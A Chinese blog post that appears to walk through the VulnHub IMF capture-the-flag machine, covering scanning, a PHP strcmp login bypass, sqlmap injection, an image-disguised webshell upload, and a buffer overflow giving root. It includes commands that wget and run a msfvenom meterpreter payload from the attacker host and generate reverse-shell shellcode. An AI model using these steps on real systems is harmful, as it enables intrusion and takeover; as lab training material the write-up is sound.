推荐一个渗透测试平台
18年毕业,目前某安全公司PM 搬砖,但依然钟情于渗透,希望能通过学习不断提高自己的技术。因为一开始研究的是渗透,但还是太菜。大佬师傅当小说看就好。
目前实战操作来源vunlhub及handthebox,均须爬楼,我是自己搭的楼梯。Guge和油管以及推特都是很好的平台,油管上太多牛逼的人。。。
CTF也会偶尔看,如果有师傅带着玩和打比赛,愿意跟着搬砖打杂。。
靶机下载地址:https://download.vulnhub.com/imf/IMF.ova
主要知识点:常规的CTF找flag、制作图片木马、溢出漏洞、提权。
靶机下载后vmware打开,Kali or parrot(UI很棒,工具很全)
同一内网arp-scan –l、Netdiscover 、Nmap都可以扫描到靶机地址。。但实际内网渗透,肯定没这么简单。
Nmap -sV -p 1-10000 ip
Nmap -A -v -T4 ip
Nmap后面的参数可以有很多,也可以接脚本,用法太多了。
实战应该用不到-A,一般以-sS,半扫描方式,不会轻易被发现。但靶机可以随便搞。
Nmap扫描只有80端口apache
然后可以进行跑目录,看有没有敏感的目录,比如上传点,比如后台登陆。
网站需要进行简单信息收集,但靶机并没有那么多信息可以用,所以浏览网站,某些页面可能会有框架信息,cms信息,然后可以去查漏洞。。。
网页如果有留言、搜索框,也会想到xss,sql注入等,靶机一般都会提示。
比如conctac us 下面可以看到 联系人,可能就是有价值的用户名。
如果网站有留言有信息,也可以进行社工创造字典,用crew和john配合用户名爆破等等。
跑目录可以用dirbuster,gobuster,也可以用脚本工具 dirsearch
访问contact us及源码,得到 flag1: YWxsdGhlZmlsZXM=
Base64解码得到allthefiles
解码方式太多了,网站在线解密、工具解密或者直接命令解密:
echo '密文' |base64 -d
继续观察页面源码,其实常规CTF 思路 到处点 看F12和看看源码 。
发现js文件有些端倪
拼接前缀得到base64解码
echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==}
再次解码得到:Flag3:{Imfadministrator}
并不知道是什么。。。试了一会,发现可以访问http://ip/imfadministrator/之前跑目
录是没有的,出现登陆页面
第一反应是爆破 ,第二反应是注入手工or sqlmap,可惜搞不出来。
之前contact us页面里有用户名,三个其中之一,我用的Rmichaels然后又查看源码后,发现提示
估计是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。
PHP会将此字段解释为数组,而不是字符串。这有时可能会混淆验证甚至字符串检查,如果其中一个输入是数组,strcmp则会返回NULL。
F12 修改,将源码里的<input name="pass" value="" type="password">修改成<input name="pass[]" value="" type="password">,使pass参数变成array数组。
用户名用之前页面里的Rmichaels,密码任意。登陆提交后发现flag3,base64解码后得到提示:continueTOcms,点击cms如下:
Cms页面链接点啊点,没用,源码也没有提示信息,只能看url
php?pagname=
试了试 1’和 ../../../../../../../etc/passwd
有错误回显,貌似有注入点,本人比较菜,放弃手工
复制cookie信息然后使用sqlmap测试,
Sqlmap -u “http://ip/”--cookie=”” --dump –batch
Sqlmap -hh 可以看参数,如果post注入,需要body信息,确定是-r txt 还是 –data=“name=value”,这里是get注入。
有东西,可以看到库名admin ,表名pages被爆了出来。只有tutorials-incomplete不曾出现在cms里,访问发现一张带有二维码的图片,可以用下面网站解码https://zxing.org/w/decode.jspx或者直接微信扫一扫。。。
获得flag4{dXBsb2Fkcjk0Mi5waHA=},解码后得到提示:uploadr942.php
Php文件名称,很兴奋。访问/imfadministrator/uploadr942.php就更开心了,得到
上传点:
接下来的思维,就太多了,上传的姿势太多了,基本是上传马,连接,得shell,提权。小马拉大马,得shell,或者数据库提权等。
上传的要点是上传的文件路径,文件名,有的可以写进日志里。
回归正题。尝试上传php,挡掉,发现图片格式可以,制作图片木马。
Jpg上传,发现,上传成功后,看源码有生成的文件名,当然真实的不可能暴漏出来,那太傻了,但这种随机生成文件名的方法,是防御的方式之一。
echo 'FFD8FFEo' | xxd -r -p > test.jpg
echo '' >> test.jpg
跑目录可得 /uploads 路径
Curl -v “http://ip/imfadministrator/uploads/文件名.jpg
(Curl 是很机灵的工具。。嗯 也很实用的。。)发现没有反应,再传gif发现就可以执行,于是写出如下再上传:
echo 'FFD8FFEo' | xxd -r -p > test.gif
echo '' >> test.gif再然后
echo ‘FFD8FFEo’| xxd -r -p >text.gif
echo ‘’>>test.gif
注意 echo 后是 `` 。可以学一下php基础,类c语言,还是比较容易上手。
c=ls 可得flag5 解码得agentservices,貌似是一个服务,先记下。
之所以能gif执行php应该是.htaccess文件中写入了 .php .gif。
.htaccess是apache的分布式配置文件,总是被玩坏,解析漏洞如果配置错误,非常不安全。
之后就是拿shell了, Wget 攻击机的多功能的php ,攻击机开一个apache Systemctl start apache2.service
这里用到msf 生成木马,并接收shell。因为可能后面要传文件,这种的得到shell,传文件一度困扰我。。。ssh连接上可以用 scp
<meterpreter,有<download,upload。。。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > /var/www/html/hack
在攻击机的网站目录下文件名为 hack的木马并开启apache服务。
然后url里可以赋予c不同参数命令,将生成的木马php下到靶机,触发并反弹shell
c=wget+“http://攻击机ip/hack”
c=chmod+777+hack赋予执行权限。
c=./hack 执行。
Msf 里:
use exploit/multi/handler
Set payloads linux/x86/meterpreter/reverse_tcp
Set lhsot
Run得到shell
其实这里的shell权限还是挺大,如果遇到限制的shell,如何绕过有限制shell,自行搜索。
接下来就是提权了,关于提权的姿势太多了,推荐一本书吧 ,《网络攻防实战研究:漏洞与提权》是18年的新书,小兵师傅的宝典。
一旦得到shell,linux的话,看进程端口,翻目录,找找有用的信息。/etc/passwd,万一有权限可以替换密码,定时任务提权,脚本提权。。。
这里用到的是缓冲区溢出,关于堆栈溢出,关于寄存器,能学到很多东西。
首先Flag 5 提示 agent 服务,也看了进程,发现有个knock进程。
关于knock 进程:knock是一个端口敲服务器。它侦听以太网(或PPP)接口上的所有流量,寻找端口命中的特殊“敲门”序列。客户端通过将TCP(或UDP)数据包发送到服务器上的端口来进行这些端口命中。这个端口不需要打开 - 因为knockd在链路层级别监听,它会查看所有流量,即使它的目的地是封闭端口。当服务器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。
也找一下agent服务,输入 whereis agent 得到结果:agent: /usr/local/bin/agent
进入/usr/local/bin/ 目录发现还有一个叫access_codes的文件,打开后显示:SYN 7482,8279,9467
SYN,不知道的了解一下三次握手,tcp连接等等。
于是用nmap 扫一下 ,再全扫一边,发现7788端口打开。真的是“knock“一下
发现是agent程序。关于获得agent 的id 方法有两种, 一个是Meterperter download下来在本地做测试;一个是 shell里运行ltrace agent。
关于itrace的介绍:https://linux.die.net/man/1/ltrace
数据包访问Agent ID是”’48093572”’,输入正确ID后出现选项:
缓冲区溢出7788端口的agent程序。
有两个工具 gdb 和图形化edb。关于gdb ,结尾会贴另一个大佬的写的文章,入门溢出。Meterperter download 下来
这里我用了kali,因为 溢出部分是后来做的,换了电脑,parrot在移动过程中,没启动起来。。。测试:edb --run agent也可以运行agent,在edb内搜索
运行agent后,输入id,先选择3.submit report进行测试:
溢出的关键是找到溢出的地址,貌似叫,栈堆基址。使用一个名为pattern_create的方便的Kali工具,生成特殊字符,测试。
运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024来获取1024个测试字符,然后将字符复制到agent里。pattern_offset配套使用。
/usr/share/metasploit-‐framework/tools/pattern_offset.rb -q 41366641
[*] Exact match at offset 168
发现程序在第168个字符处溢出,同时运行之后,发现程序崩溃
猜想选择的值成功覆盖EIP
A * 168(估计是EIP的位置)
B * 4(认为是EIP)
C * 500(可以转储shell代码的EIP之后的空格)。
再生成A168+B4+C*1000的字符继续测试
python -c'print“A”* 168 +“B”* 4 +“C”* 500'
python 可以在反弹shell中 建立新的终端,也可以起一个简单的http服务,用处太多了。
(在edb内,可以搜索操作码(插件> OpCodeSearcher>操作码搜索)。在这里我们可以看到E(R)AX - > E(R)IP包含对E(RAX)的调用。)42是B的十六进制
MSFVenom提供-b开关。这是为了消除无用的字符。在这个例子中,删除了空字节0x00,因为它通常都会终止一个字符串。x0a是换行符,x0d是回车符,所以这两者都相当于命中返回,出现在shellcode的中间,就over了。。。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.190.1 LPORT=6666
-f python -b "\x00\x0a\x0d" > imf.py
之前的agent ID被硬编码,在exp中别忘了48093572。编写exp:
执行脚本,nc -nlvp 你设置的端口,然后执行如下,有shell回弹,root权限。
所以最后一个标志是flag6{R2gwc3RQcm90MGMwbHM=},解码为Gh0stProt0c0ls。
关于最后的溢出,我接触的很少,也在学习,可能写的很烂,给出的exp有可能复现不了,或者提权成功,我也试了很多。。。具体的溢出入门学习 可参考如下文章
https://www.anquanke.com/post/id/169554#h3-10
我觉得渗透的思路是很重要的,然后不会的就多搜索,多记录。以后会整理handthebox 或者其他渗透靶机,随缘更新。欢迎一起学习交流。感谢阅读。
实验室相关实验:
VulnHub渗透测试实战:
http://www.hetianlab.com/cour.do?w=1&c=CCIDee68-cedc-49cf-9d77-55bb6e417128(通过VulnHub靶机练习,获得渗透测试相关的实战经验)